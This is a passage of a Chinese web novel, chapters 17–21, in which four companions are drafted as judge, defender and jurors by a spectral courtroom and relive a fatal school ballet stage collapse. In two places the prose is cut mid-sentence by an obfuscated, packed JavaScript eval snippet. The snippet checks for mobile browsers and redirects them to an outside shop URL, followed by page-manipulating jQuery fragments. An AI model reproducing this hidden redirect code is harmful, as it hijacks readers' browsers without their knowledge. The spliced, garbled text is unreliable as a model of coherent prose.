俞不晚闷哼一声,眼皮动了动,还没完全睁开就先摸向腰侧的枪。直到看清是叶抒年,她才吁出一口气,撑着坐起身:“……我们还活着?” “暂时是。”叶抒年握住她的手,借力把她拉起来。 俞不晚起身时踉跄了一下,扶住叶抒年的胳膊才站稳,甩了甩头,又活动了一下手腕和脚踝,嘴里低低骂了句什么,大约是抱怨浑身的疼痛。 另一侧,林煦言也皱着眉撑起身,脸上还沾着灰。他甩了甩头,第一句话是:“那些人脸……没跟下来吧?” “应该没有。”阮天清环顾四周,语气平静,“先看看我们在哪儿。” 四人陆续站定,不约而同地沉默了片刻。 险死还生,大家还陷在短暂恍惚里。不久前岩洞坍塌的巨响似乎还在耳际回荡,而此刻周遭却是一片异样的寂静。 “还算走运,”俞不晚率先打破沉默,拍了拍身上的尘土,“我刚才差点就成馅儿了。” 林煦言揉了揉后颈:“我宁可当馅儿,也不想再看见那些绿眼睛。”他说完顿了顿,环视周围后,语气迟疑,“但这里……是哪儿?” 这里不像地底。至少并没有地下世界那般阴暗潮湿。 空间异常开阔,头顶极高处有不知来源的微光漫下,隐约勾勒出周围的环境。 而她们脚下,是整片灰白色石材铺就的地面,平坦光滑,几乎能映出人影。前方不远处,对称立着数根粗大的石柱,柱身纹路已然模糊,但隐约能看出是某种精致的图案。 真正让这里显出形貌的,是更远处的布局。 “那里有个台子。”俞不晚眯眼看向正前方。 那里,数层石阶垒起一座高台,台上摆着一张厚重的石座。椅背高耸,刻着类似天平与剑刃交错的浮雕,扶手两端则各有一个深陷的凹槽,仿佛曾常年放置什么东西。 高台之下,左右两侧各有一排低矮的长石凳,像是为某种席位所设。 叶抒年缓缓走上前几步。她的目光顺着台阶向上,缓缓扫过高台,又落回她们所在的这片空地中央。 这里立着一个木制围栏,栏板早已朽坏变形,但靠近地面的部分,能看到几处铁锈侵蚀的痕迹,以及半截断裂的金属锁链,一端嵌在石地里,另一端无力地垂着。 更外围,是一排排逐渐升起的石阶座位,呈半圆形环绕着中央区域。 “这里不像禁区形成前的遗址。”阮天清走到叶抒年身边。 她们都知道,这片禁区的前身是一座小镇,而眼前带着明显欧式特质的装潢与那格格不入。 “太华丽了,”俞不晚环抱手臂,“想不到,003号禁区里还有这种殿堂。” 叶抒年依然没说话。她环视一周,某种冰冷而庄严的既视感越来越清晰,攫住了她的呼吸。 “感觉……也不是殿堂。”她轻声道,语气里带着一丝不确定的困惑,“你们看这里的布局,有审判席,有被告栏,有旁听席……” 她顿了顿,目光落回墙壁上那些刻字,尽管看不真切,但那排列的方式,让她想起界碑上浮现的规约文字。 “这里,是座法庭。” 18. 第18章 叶抒年话音落下,沉默便笼住了所有人。 谁也没想到,这片以原始森林著称的禁区内,竟还藏着这样一座装潢精致的法庭。乍一看有模有样,但这欧式风格的建筑,又与禁区前身那座小镇的朴素气质全然相悖。让人不禁怀疑这座法庭的来历。 “先仔细看看这里吧,”阮天清打破了沉默,“但是别碰任何东西。” 四人默契地拉开一个能够彼此照应的队形,开始探索这座法庭。脚步声在空旷的石面上激起轻微回响,更衬得四下寂静迫人。 林煦言紧跟在阮天清侧后方,边走边张望:“这些石凳上一点灰都没有,太干净了。” “嗯,不像废弃许久的样子。”阮天清应道,指尖虚掠过石凳光滑的表面,没有真正触碰。 俞不晚则蹲在那圈朽坏的木围栏边,盯着地上断裂的铁链。 “锁链断口很旧了,”她眯着眼,“但看这锈蚀,像是被蛮力挣断的。”她抬起头,看向高台,“上面那位,当年判的估计不是什么善茬。” 叶抒年沿着石阶,一步步走向最高处的法官席。越靠近,那股无形的压力越重。她在最后一级台阶前停住脚,犹豫了。她担心贸然上前,会触发什么机关。 “年年,先别上去。”阮天清在下方提醒,她也注意到了叶抒年的迟疑。 叶抒年点头,侧身站在台阶边缘,从这个角度打量法官席。 席前是一张暗色木桌,桌面中央,赫然放着一本大得异乎寻常的法典。 封面由某种深色皮革制成,镶嵌着已经暗淡的金属纹饰。上面的文字扭曲怪异,明显不是汉字,也不同于她见过的任何外文,笔画间透着一股非人间的疏离感。 “这里有本书。”她轻声说,吸引了下方的注意。 “怎么了?”阮天清问。 “封面上的字,看着很奇怪。”话音落下,她感到某种熟悉的悸动,从体内深处传来。那法典摆放的位置过于精准,正对着法官高背椅的中心,像一个静默的陷阱。 她犹豫了一下,还是向前稍稍倾身,想看得更仔细些。 就在她心神完全沉入那扭曲字符的刹那。 “哗——” 厚重的法典,竟在无人触碰的情况下,猛地自行翻开! 厚重的皮革封面砰然撞击桌面,内页如被狂风席卷般急速翻动,纸张哗响不止。 叶抒年心脏骤停一瞬,本能地向后疾退半步,脚下踩空一级台阶,险些踉跄。她脑中一片空白,只剩最原始的警惕。 而下方,阮天清瞳孔紧缩,身体瞬间绷紧进入战斗姿态,目光锁定高台和四周,寻找可能随之而来的攻击源头。 与此同时,整座法庭仿佛被这翻书声从漫长的沉睡中惊醒,产生了微妙变化。 穹顶那不知来源的微光骤然明亮几分,光线流淌过石柱上的刻纹,那些纹路似乎短暂地清晰了一瞬;而脚下的石地传来震颤,仿佛有某种东西在地底被引动。 法典在叶抒年惊疑不定的注视下,终于停在了接近中间的位置。 摊开的书页上空,光线开始凝聚,逐渐勾勒出一个人形轮廓。那是一位头发花白的老者,面容严肃,身着一件式样古旧却庄重的深色法袍。 光影凝实,宛如真人降临。只是那过于分明的轮廓与毫无生气的质感,昭示着她非人的本质。 老者先是环视四周,那双深邃的眼眸,将整个法庭,以及台阶上下如临大敌的四人,尽数看在眼里。 最后,目光稳稳地落在了离法典最近、也是最先触发这一切的叶抒年身上。 一道平和中带着威严的声音,在每个人脑海中响起,回荡不息: “欢迎来到心狱法庭。” 四人被这突如其来的人声吓得连呼吸都放轻了,叶抒年更是被那老者盯得背后发凉,她止言又欲:“您是……” “我是此庭的司仪。距离开庭尚有一小时,请诸位按各自身份对应的席位入座。” “什么席位?” 叶抒年不解,还未完全反应过来现在到底是什么情况,怎么就触发了这番局面?开庭又是什么意思? “心狱法庭,专审此地上未解之怨。”老者缓缓道,“积年案件众多,你们是这些年来首支审判团,需代行法官之职,审结七桩案件。” “如果我们不照做,会怎么样?”阮天清悄步移到叶抒年身侧,抬眼直视老者。 “审判员一经入庭,须了结当前积压案件。否则法庭将永远封闭,诸位亦将长留于此,化为此地未解怨念的一部分,直至下一批审判者到来……倘若还有的话。” 四人默然对视一眼,彼此都对此刻的情形有所了然。也就是说,她们无意间触发了这座法庭内部的规定,接下来必须依照这人所说,审判案件。 叶抒年谨慎地问:“你刚才说我们各自的身份,是什么意思?我们并不知道自己是什么身份,也不清楚该坐在哪里。” 老者沉默地扫视众人,忽然将手一挥。 台阶上下那些座椅表面,倏地渗出细微的金色光粒。光游动着,在椅背上蜿蜒凝聚,逐一拼合成清晰的名字。 四人屏息望着那些浮现的金色名讳,一时无声。她们在那些椅背上,找到了彼此的名字。 叶抒年的目光定在正中央的高背椅上,“法官”两字下方,她的名字正泛着微光。 她又抬起头,不远处,被告律师席的椅背上,烙着俞不晚的名字。而法官席两侧稍低的位置,陪审团的座椅上,赫然是阮天清与林煦言。 光痕在她们的名字上缓缓流转,确认了各自的角色。 叶抒年追问:“我们要审判的案子是什么?有什么规则需要遵守吗?” 老者的光影微微颔首,声音在众人脑海中继续回荡: “法官须依据证据与证言,洞察隐匿于线索下的唯一真相。你的裁决即终裁,不可更改,将决定被告的命运,亦指引你们自身的归途。务必慎之又慎。” 光影略转,仿佛看向其他人: “辩护人须穷尽方法与智慧,寻获有利证言,捍卫委托人的权益。” “陪审团的职责,是辅助法官明晰案情。可对原告与被告双方发问,剥丝抽茧,共同迫近事实核心。” 她略作停顿,那无形的压力却更重了。“在审判过程中,所有人不得离席,不得以暴力干涉进程。违者,视同放弃。” “案件呢?”阮天清问。 “当时钟走完一圈,”老者答道,众人这才注意到法官席后方那面灰暗的、指针静止的壁钟,不知何时已开始发出极细微的齿轮转动声,“公诉人自会当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979560|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庭呈述首案。” 光影的手臂抬起,指向法庭中那些席位。 “现在,请各位依序就座。” 话音落下,法典书页上的光粒骤然升腾,如雾如霭,开始缓缓吞没周围的现实景象。 “心狱法庭,第一次庭审,即将开始。请诸位,进入案件回溯。” 老者没再进行多余的解释,身影在空中闪现两下,如同接触不良的投影,随即彻底消散。 法庭重归寂静,却比之前更令人不安。叶抒年看向其他三人,从彼此眼中读出了同样的惊疑。 她们此刻遭遇的,已完全超出了她们对003号禁区的认知。 叶抒年怀疑,在此之前,从未有人抵达过这座法庭,否则外界不可能一点关于此地的谣传都没有;要么,就是有人来过,但他们没能从这里离开。 想到这里,她面色又凝重了些,尽管刚才老者并未提及,她们即将面对的究竟是什么,也没说起过审判的失误会带来什么后果,但这未知让人不免更加心慌。 她们表面上是绝处逢生,来到了一处安宁之地,实则是掉入了更深更危险的禁地。 但时间却不容许四人做更多思考。四人对应的座位前,那金色的名字已经开始焦躁地闪烁,像在无声催促。 四人交换了一个眼神,压下心中忐忑,各自走向被指定的位置。 叶抒年在高大冰冷的石法官椅上坐下,俞不晚走向被告席旁侧那个稍小的席位;阮天清和林煦言则步入陪审席,各自落座。 就在四人全部坐定的刹那,法庭之外,忽然涌来一片嘈杂。 仿佛有无数人正从四面八方汇聚而来,他们低声交谈着,由远及近,迅速充斥了这原本绝对寂静的空间。 叶抒年当即望向台阶之下的旁听席。只见一行行身形异常矮小的人影,从那些粗大的石柱后鱼贯而出。 它们面容模糊不清,如同批量生产的木偶,动作整齐划一地填满了每一张石凳。转瞬之间,原本空荡荡的旁听位已是座无虚席,无数道没有具体五官的视线,齐刷刷地投向中央的审判区。 这下倒真有点开庭审判的氛围了,只不过这场面怎么看怎么诡异。叶抒年刚想对其他人说点什么,眼前却骤然一黑。 她感觉自己短暂地失去了重量与边界,如同墨溶于静水。但这份空洞仅持续了一瞬,紧接着,尚未适应的感官,便被一股蛮横的力量重新填充。 视觉被粗暴地剥离又塞回,法庭的景象却消失了。 叶抒年眨了眨刺痛的眼睛,发现自己正身处一片全然陌生的环境中。 她站在一条狭窄的巷道里。 积雪气息混杂着血腥味的寒风,率先割过脸颊。脚下是坑洼不平的石板路,覆着一层被踩实了的灰黑积雪。而两侧砖墙逼仄,墙头与砖缝堆垒着厚厚的雪檐,垂下长短不一的冰凌。 她不禁抬头望去,头顶却仅剩一线灰蒙天空,细密的雪沫正盘旋落下,天色昏蒙,分不清是清晨还是黄昏。 远处,压抑的呜咽声穿过雪幕传来。 她第一时间转头,看到阮天清、俞不晚和林煦言就站在她身后几步远的地方,脸上带着相似的茫然与警觉。 她们也脱离了法庭的石椅,被抛入了这个莫名的空间。 案发现场,到了。 19. 第19章 “这地方还挺逼真的。”俞不晚走到叶抒年身边,呵出一口白气,目光扫过覆雪的巷子。 这话转移了叶抒年的注意力,下意识忽略掉了什么,跟着她的视线望去。 雪很密,簌簌地落,周遭一片银白。不知为何,这景致给她一种莫名的熟悉感,倒不是指这雪景,而是这片建筑的布局。 她的目光掠过两侧砖瓦窄巷,更远处,一座方正的建筑在雪幕中矗立,顶上正冒出滚滚黑烟,像旧时代的工厂。视线再抬高些,能望见一座灯塔的轮廓,伫立在铅灰的天幕下。 叶抒年心里忽然一动,生出一个猜测:“这里……该不会是灾变之前的禁区吧?” 另外三人闻言,齐刷刷转过头看她,眼底惊诧证实了彼此的想法。 是了,这片被雪覆盖的小镇,分明就是如今禁区西侧那片被森林吞噬的老城区。 只是此刻,这里还没有被遮天蔽日的巨木覆盖,由此看来,时间节点只能是灾变之前了。 “还真是……”林煦言喃喃道,下意识伸手想接一片雪花,雪落在他掌心,众人这才对此刻的情形有了实感。 她们竟然是以实体的形式,真实地来到了过去。新奇感冲淡了些许紧张,众人忽然间都有了兴致。 她们这儿,年纪最长的也不过活了二十来年。自睁开眼,见到的世界便已经成了这幅千疮百孔的样子,何曾真正见过灾变前普通小镇的冬天。连最稳重的阮天清,目光里也带上了几分罕见的打量与探究。 四人沿着被雪半掩的巷道往前走去,踏在积雪上,却没有发出任何声音。这寂静被熟悉的苍老嗓音骤然打破。 惊奇的是,这声音并不是从她们真实所处的空间某处传来,而是直接回荡在脑海中。前不久才消失的老者,又出现了。 不过这次只闻其声,不见其人:“回溯已开始。在此间,诸位可自由行走观览。在本次回溯期间,以及正式审判中,你们每人皆有一次机会,行使所属身份对应的特殊权利。机会仅此一次,望慎思而后用。” 话音落下的瞬间,三行散发着微光的金色字迹,凭空浮现在各人眼前。 【法官:可于关键时刻,强制要求一名相关方必须回答一个指定问题,其回答将受规则约束,无法伪饰。】 【辩护人:可要求与委托人进行一次绝对私密的对话,此间交谈不受任何形式的监听与回溯。】 【陪审团:可要求额外开启一次局部回溯,聚焦于案件任一存疑的细节或时空节点。】 字幕很快淡去,如同被风雪吹散。 老者突然出现,又突然失踪,完全不具备一个优秀npc的自觉。叶抒年听完这长串话,尚有一堆疑问积在心底,还没来得及询问更多相关细节,就被对方切断了连接。 就在她默默给npc打差评时,不远处墙根下,一个脑袋忽地探了出来。 “喂——你们四个!怎么还愣在这儿?”那是个约莫十六七岁的少年,脸冻得有些发红,眼睛却亮晶晶的,满是毫不设防的热情,“演出马上开始啦!” 他朝她们用力挥了挥手,仿佛彼此是熟稔的旧友。 四人交换了一个眼神,俞不晚更是挑了挑眉。看来,这回溯连身份都给她们安排妥当了。 叶抒年潜意识认定,这大概是又一个npc,于是朝那少年挥了挥手:“我们马上就来!” 四人一齐走向矮墙。 叶抒年快速扫了这npc少年一眼。他身着一件洗得发白的棉服,袖口有些磨损,蓝布裤膝盖处打着不算工整的补丁,但整个人收拾得干净利落。 少年显然比刚才的老者更具备优秀npc的潜质,格外自来熟,手一伸就搭上林煦言的肩,热络地揽着人往前走。 “走走走,可别迟了!” 林煦言被这突如其来的勾肩搭背弄得浑身一僵,碍于任务又不好推开,只得略显别扭地顺着走,一边回头向叶抒年她们递来个无奈的眼神,示意她们跟上。 叶抒年跟上,刻意走在少年另一侧。俞不晚和阮天清落后半步,目光扫视着雪巷两侧。 “你们是不知道,为了今天这场演出,我可没少折腾,”少年边走边说,比划着,“那些灯啊线路啊,老化得厉害,我一个个接头、调光,费老鼻子劲了。” 叶抒年顺着他的话,用闲聊般的语气问:“这么费心,待会儿你也要上台?” 少年奇怪地看了她一眼,仿佛她问了个显而易见的问题:“当然不啊。我负责后台,打打灯光、看看设备还行,跳舞这种事,得交给专业的人来。” 他说着,脚下不小心踢到块凸起的冰,踉跄了一下,拍了拍手,浑不在意。 舞蹈演出。 叶抒年捕捉到关键词,顺着话头继续问:“那今天,要上演的是什么曲目啊?” “《吉赛尔》第二幕,维丽丝女鬼的群舞。”少年说,“可好看了!” 很经典的芭蕾舞剧。叶抒年记得,她上辈子还专门去剧院看过全本。 难道她们要审的案子,和这场演出有关?她放慢脚步,与身后的俞不晚、阮天清擦肩时,快速道:“待会注意看台上的情况。” 二人纷纷会意。 四人跟着少年,在覆雪的街巷里又走了一段,眼前出现几幢样式较新的建筑,围成一片园区。正中那幢楼前,立着一块朴素的牌子:第一中学。 众人走进主楼,经过第一幢建筑时,叶抒年留意到,走廊的墙上,贴满了各色竞赛证书与表彰喜报。而领她们进来的少年,其照片赫然也在其中一栏,照片下的评语写着“品学兼优,认真负责”。 看到这些,叶抒年不禁感到有些亲切,她亲身经历过没有发生灾变的世界,许多年前,她似乎也曾在这样的校园中忙碌。只不过,现在对于那段时光,她已经记不起细节了。 “想不到你们学校还专门搞舞蹈演出。”叶抒年随口闲聊。 “那当然!”少年挺了挺胸,语气里带着自豪,“我们学校舞团在市里都小有名气。镇上好些人,从小练舞就为了考进来。” 话题展开,林煦言也放松不少。 他的自来熟程度完全不亚于身边的少年,嘴一张就开始胡说八道忆往昔峥嵘岁月稠。完全没有回溯案件的自觉,仿佛搁这旅游来了。 “嚯,舞蹈学院啊!想当年在终律城,大小舞会少爷我也是有点名号的……我哥当初还真动过心思,想把我往这方面栽培栽培。” “哦?”俞不晚难得捧他的场,眼里闪着看好戏的光,“那林少爷如今想必舞技非凡?” “咳,这个嘛……”林煦言表情微妙地僵了一瞬,随即抬起下巴,用一种“往事不必再提”的沧桑口吻道,“艺术的道路总是曲折的。后来发现,我的天赋可能更侧重于鉴赏和理论层面。” 事实是,少爷第一次去舞蹈课上压腿,就给老师嗷了一嗓子,后来老师建议他改学唢呐,说这个嗓子用得上。以至于现在,林煦言舞技一点没长进,侃起大山来倒是中气十足。 叶抒年一听林煦言的话,就知道不靠谱,却也没揭穿他,笑着将这话题马虎过去了。 几人走了没多久,来到第二幢楼前。 “就是这儿了!”少年语气雀跃。他推门而入,四人紧随其后。 门后是这座学校的小礼堂,空间不大,却已坐满了人。 空气里飘着低低的交谈声,放眼望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶抒年察觉到这一点,盯着舞台,目光扫过每一个位置,每一张沉浸在剧情中的面孔。几秒钟后,她忽然明白了。 舞台上少了一个人。 一个原本处于核心位置的角色,不在场。以至于其他舞者不得不轮流填补那个空缺,动作间透出仓促与勉强,让本该行云流水的剧情,显出一种隐晦的紧绷。 她迫不及待想要验证自己的猜想,立刻压低声音问身旁的少年:“同学,台上怎么缺了一个人?她今天没来吗?” 少年看得入神,眼睛仍盯着舞台,随口应道:“她啊?她来不了。老师让她在家好好休息。” 语气稀松平常,少年看上去也无意作多解释。 这证实了叶抒年的猜测。台上确实缺了关键一人。但少年的态度让她判断,这并非什么值得深究的大事,也不会影响整场演出。 因此叶抒年又将注意力放回舞台上,然而就在这时,她的左肩被轻轻拍了一下。 是阮天清。 叶抒年侧头,看见阮天清面色沉凝,嘴唇抿成一条直线,目光没有看她,而是锁定在舞台斜上方。 “怎么了?”叶抒年问。 “看那儿,”阮天清用目光示意,“舞台左前侧,顶光灯。” 叶抒年立刻顺着她的视线望去。舞台左前上方,一盏面光灯正在轻微晃动。 灯光摇曳,在地板上投出不安的光斑。舞台上无人察觉,而那晃动的幅度正越来越大。 叶抒年心中忽然闪过一丝不好的预感。 不出意外的话,要出意外了。 20. 第20章 幕布后的身影,忽然动了。 叶抒年和阮天清同时屏住了呼吸。她们不敢轻举妄动,只能眼睁睁看着幕布后,那影子朝前挪了几步,轮廓透过厚重的深红绒布,映成一个清晰的侧影。 叶抒年也终于看清了那人的身影。那是个女人,身着一条芭蕾舞裙,看样子,和舞台上那些舞者们的装束别无二致。 舞台上光影流转,却总有一束不知来自何处的偏光,恰好打在幕布边缘,将她的身形勾勒得格外显眼。 又格外怪异。 她随着哀婉的乐声,独自在幕后跳起了与台上同步的舞步。 叶抒年不得不感叹,幕后之人的舞姿实在动人。每一步都仿佛踩在人心尖上,甚至比台上的舞者更多一分沉静到极致的投入,仿佛她才是那个真正被禁锢在故事里的幽灵。 这景象美得令人心头发毛。 “年年。”俞不晚的声音忽然从旁边传来。她隔着一个座位,拍了拍叶抒年的肩。 俞不晚自打走进这小礼堂,就觉得不对劲。她的注意力没在台上,反而一直扫视着观众席。刚进来时,这些镇民还不约而同地转头看她们,不少人熟络地跟领路的少年打招呼。 这无可厚非,邻里之间相熟也正常。可在那之后,一切就变得很奇怪。 “你有没有注意到这些观众,自从我们坐下来后,他们就再没出过声。”俞不晚对叶抒年说。 叶抒年经她一提,也察觉到了。的确,整间剧院里,除了台上流淌的音乐,台下这片观众席静得过分。 但转念又想,观影不语是基本礼仪,或许只是这里的居民素质高?她们此行若不是带着任务,也不会这么频繁地交头接耳。 为求心安,也为了验证,她决定试探一下。 她转过身,看向坐在自己正后方的一位中年妇人,对方正目不转睛地盯着舞台。 叶抒年露出一个略带歉意的笑容,压低声音,用闲聊般自然的语气问道:“不好意思打扰您,请问……能借张纸巾吗?刚才好像有灰迷眼了。” 那妇人闻声,似乎有些意外,目光落在叶抒年脸上。她看了叶抒年两秒,才缓缓张口:“不好意思,我今天没有带纸巾。” 得到回应后,叶抒年放下心来。果然是她们多虑了,她朝那人礼貌地笑笑,转回身来与俞不晚对视一眼,示意对方安心。 俞不晚没再说什么,叶抒年也将视线转回舞台。可这一眼,却她心头猛地一紧。 幕布后的影子不见了。 深红色的绒布上,只剩一片空荡的阴影,那束光也暗淡下来。 她立刻扭头看向阮天清,用口型无声地问:“人呢?” 阮天清面色沉凝,没说话,却抬手指了指舞台中央。 叶抒年顺着那方向望去—— 舞台中央,不知何时,多出了一道白色身影。 一个靡靡如随风飘舞的丝带的少女,裹在云雾般蓬松的舞裙里,正不停地旋转着。头顶那片光晕明暗交替,在她纤细的胳膊与脖颈上投下斑驳忧郁的阴影。 叶抒年只觉得连呼吸都不自觉地放轻了,仿佛稍微一动,台上那美得不属于人间的景象,就会化为某个易醒的梦。 刹那间,所有目光都被那道旋转的白影攫住。可紧接着的景象,让寒意瞬间冻结了每个人的血液。 只见少女白皙笔直的腿间,忽然缓缓流出一道红痕。 起初只是淡淡一线。可随着她舞步不停,旋转不止,那鲜红越流越多。 粘稠的液体滴滴答答砸在木质地板上,逐渐在舞台上蜿蜒成一片触目惊心的血洼。 离得近的舞者,洁白的舞鞋鞋尖最先踏入那片猩红,留下一个个湿漉漉的脚印。旋转交错间,蓬松的裙摆扫过地面,溅上斑斑点点的血污,像雪地里骤然绽开的诡异红梅。 舞者们自身却好似浑然不觉,依然自顾自转着圈。 叶抒年的瞳孔骤然收缩,大脑一片空白,身体却已先于意识做出了反应。 她“噌”地从座位上弹起,撞开身前的椅背,箭一般冲向舞台侧方的台阶。 身旁,阮天清与俞不晚几乎同时起身,目光凌厉地扫过舞台上方摇晃的灯具和两侧幕布。手按上腰侧武器的同时,人已紧跟着叶抒年掠出。 林煦言脸色煞白,被这突如其来的血腥场面惊得倒抽一口冷气,胃里一阵翻涌。但他只是顿了顿,猛一咬牙,也推开椅子跟了上去,脚步有些踉跄,却紧紧追随着前面三人的背影。 然而,四人还没来得及冲上台阶。 “轰——!!!” 一声骇人的巨响,裹挟着木料断裂声,猛地从舞台方向炸开!整个小礼堂仿佛都随之震颤,尘埃簌簌落下。 叶抒年被震得身形一滞,双手不自觉地发颤,她缓缓抬头,望向舞台。 只见舞台上空无一人,只剩一大片尚未干涸的暗红血泊。 而血泊旁边,木质地板赫然塌陷下去,露出一个边缘参差不齐、黑漆漆的大窟窿,宛如一张血盆大口,幽深不知通往何处。断裂的木板和扭曲的金属支架从洞口支棱出来,一片狼藉。 舞台塌了。 台上无人生还。 叶抒年感到一股冰冷的寒意从脚底直窜头顶,刚才发生的一切已经远远超出她对案件的想象。 她本以为,要面对的仅仅只是普通纠纷,可眼前的景象已经甚至不是灵异能够解释得了的。 “先救人……”叶抒年喉咙发干,再次要朝那片废墟冲去。 “叶抒年!”阮天清一把攥住她的手臂,力道很大,声音是她一贯的冷冽,“舞台主承重梁可能断了,难保不会二次塌陷!从正面上去是送死。我们绕后台,走侧面通道。” 叶抒年被这一喝,激灵了一下,强行从那股混杂着震惊、愤怒与无力的情绪中抽离。 她看了眼阮天清紧绷的下颌线,又迅速扫过那片狰狞的塌陷区域,点了点头:“走。” 四人立刻调转方向,沿着观众席边缘,疾步冲向舞台侧后方那扇挂着“闲人免进”牌子的木门。 通往后台的走廊狭窄昏暗,弥漫着一股旧木头和廉价化妆品混合的沉闷气味。 与前台惊心动魄的坍塌和死寂相比,这里还残留着一丝慌乱的余温。 散落在地的舞鞋、打翻的化妆箱,以及一件匆匆搭在椅背上的外套,都在无声诉说,这里半小时前还充斥着活人气息。 就在她们即将推开那扇通往更深处工作区域的门时,门却“砰”地从里面被撞开 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叶抒年胃里一阵翻搅,她立刻抬手死死捂住口鼻,强行压下那股生理性的恶心,率先迈步上前。 舞台塌陷形成的窟窿就在前方,边缘还翘着木茬。她停在距离边缘约两米的地方,这是阮天清用眼神划定的安全线。 她深吸一口气,压下心悸,缓缓探身,伸长脖子,朝那片黑暗深处望去。 借着头顶舞台残余的灯,以及窟窿下方某处应急指示灯幽幽的绿光,她看到了地狱般的景象。 数十具穿着白色舞裙的身体,以各种扭曲的姿态,堆叠在下方冰冷粗糙的水泥地上。有的还在呼吸,有的睁着眼。 比反胃更先涌上来的,是眼眶的酸热。 叶抒年甚至没来得及理解这情绪从何而来,滚烫的液体就已经冲破了防线,顺着脸颊倏地滑下。她愣住了,抬手一抹,指尖湿凉。 她与这些少女素昧平生,却无法抑制地为之哀挽悲叹。老天真爱开玩笑,竟然容许这么年轻鲜活的生命,以这等荒谬的方式葬身于此。 理智告诉她,这只是回溯中的虚景,可感性却决了堤,哗哗不止。 同样倍感伤痛的还有其余三人。林煦言用力扭开了头,眼圈却迅速红了。俞不晚一抹眼角,忽然一言不发,越过叶抒年朝窟窿边缘走去。 “小俞……”叶抒年边抹泪,边轻声制止她。 俞不晚脚步没停,在窟窿边缘略一蹲身,竟是毫不犹豫地纵身向下跃去! 身影没入黑暗。 可下一秒,光影模糊了一刹,俞不晚的身影如同被无形橡皮擦抹去又重新勾勒,重新出现在她跳下去之前所站的位置。 她僵在原地,低头看了看自己完好无损的双手和身上半点血污未沾的衣服,脸色瞬间沉得能滴出水。 与此同时,那道年迈的声音,在四人脑海深处响起: 【警告。回溯期间,严禁以任何形式直接干涉事件既定走向。】 【诸位的权利,仅限于观察、质询与裁决。逾越此界,将被强制修正,并计违规一次。违规三次,将永久留滞于此,成为回溯背景之一部分。】 【此乃第一次警告。请谨记。】 21. 第21章 言外之意,她们救不了这些女孩,也改变不了已发生的既定事实。 她们被赋予的权力,仅仅是在惨剧发生后,去审判那个引发一切的罪魁祸首。 叶抒年听完这些话,只觉得一股沉重的无力感攥住了心脏,闷得发疼。 又是这样。 穿越前,这类事故的新闻她见过不少。每次看到,她都祈盼能够做些什么,改变那些灾祸。 但无一例外地,什么都没能改变,世界一如既往地糟糕。那些事情最后也往往在“意外”和“追责困难”中不了了之,活生生的人变成档案里的几行字。 来到这个全新的世界,以为自己或许能有所不同,可面对这样血淋淋的惨剧,她依旧什么都做不了,连伸手拉一把虚影中的亡魂都不被允许。 心灰意冷如同涨潮的江水般灌入心间。 但紧接着,一股烧灼般的怒意,从那无力感的灰烬里破土而出。 那是对她自己无力改变过去的愤怒;对那些藏在意外背后、可能逃避了责任的人的愤怒;对这似乎永远有人在其中受苦、而该负责者却能安然脱身的、不公的世界的愤怒。 救不了,但至少,得让该付出代价的人,付出代价! 因而她撑着膝盖站起身,转身看向其余三人:“我们分头调查吧,你们在这地勘察舞台塌陷的诱因,我去场外找人问问情况,看能不能打听到点消息……” 她突然缄默。 直到这时,她才意识到,自舞台坍塌、惨剧发生以来,她们的全部注意力都被台上骇人的景象夺走了,竟完全忽略了台下。 她缓缓扭头,望向台下。 那些观众,依旧整整齐齐地坐在各自的座位上,姿势几乎未曾改变。并未发生任何惊呼与骚乱,他们依旧面朝着舞台,朝着那片废墟和血泊,朝着她们四人。 一张张脸在昏暗的光线下模糊不清,唯有无数道视线,一眨不眨地聚焦在她们身上。 叶抒年看着眼前景象,一个荒谬的猜测浮上心头。 她转身从后台冲出,沿着侧边通道快步绕回观众席下方,猛地推开那扇隔开前后台的小门。 “吱呀——” 门轴转动的声音在寂静中格外刺耳。 台下,有几人应声缓缓转动脖颈,将目光投向她。 “你们……”叶抒年下意识想要问出那个猜测,却不知如何开口。 她扫视着最近几排的观众,试图从他们脸上找到一丝属于活人的惊惶、悲伤或仅仅是疑惑。 这时,离她最近的一个中年男人忽然开口了: “不好意思,我今天没有带纸巾。” 叶抒年浑身的血液仿佛瞬间凉了半截。她猛地转向斜后方、另一个穿着碎花棉袄的老太太。 “请问……您有看见刚刚发生了什么吗?”叶抒年声音发颤。 “不好意思,我今天没有带纸巾。” 叶抒年不甘心,继续朝观众席更深处走去,一遍遍不厌其烦地询问,可得到的回答始终只有那一句。 “不好意思,我今天没有带纸巾。” 最终,她停下脚步,站在过道中央。 她低下头,喉咙里滚出几声极哑的短促笑声,充满了被这极致荒谬所逼出的自嘲,以及冰凉彻骨的明悟。 原来如此。 这间坐得满满当当的剧院里,自始至终,真正的观众……或许只有她们四个。 不对,还有一个。 叶抒年的目光猛地射向观众席靠边的位置。那里,那个带着她们进来的少年,还僵硬地坐在原处。 他与周围那些观众截然不同。他整个人像被冻住了,脸上血色尽失。那双之前总是亮晶晶的眼睛,此刻瞪得极大,瞳孔剧烈颤抖着,里面翻涌着几乎要溢出来的惊骇。 他还“活”着。至少在某种意义上,他对刚刚发生的惨剧,有反应。 叶抒年心脏重重一跳,带着最后一丝微渺的期望,也或许是更冰冷的审视,一步一步,穿过那些静止的假人,走向那个唯一鲜活的少年。 她在少年面前停下,阴影罩住他。她没有坐下,只是微微俯身,让自己的目光与他强行对焦。 “你看见了,对吗?”她问,“刚才舞台上发生的,你都看见了。” 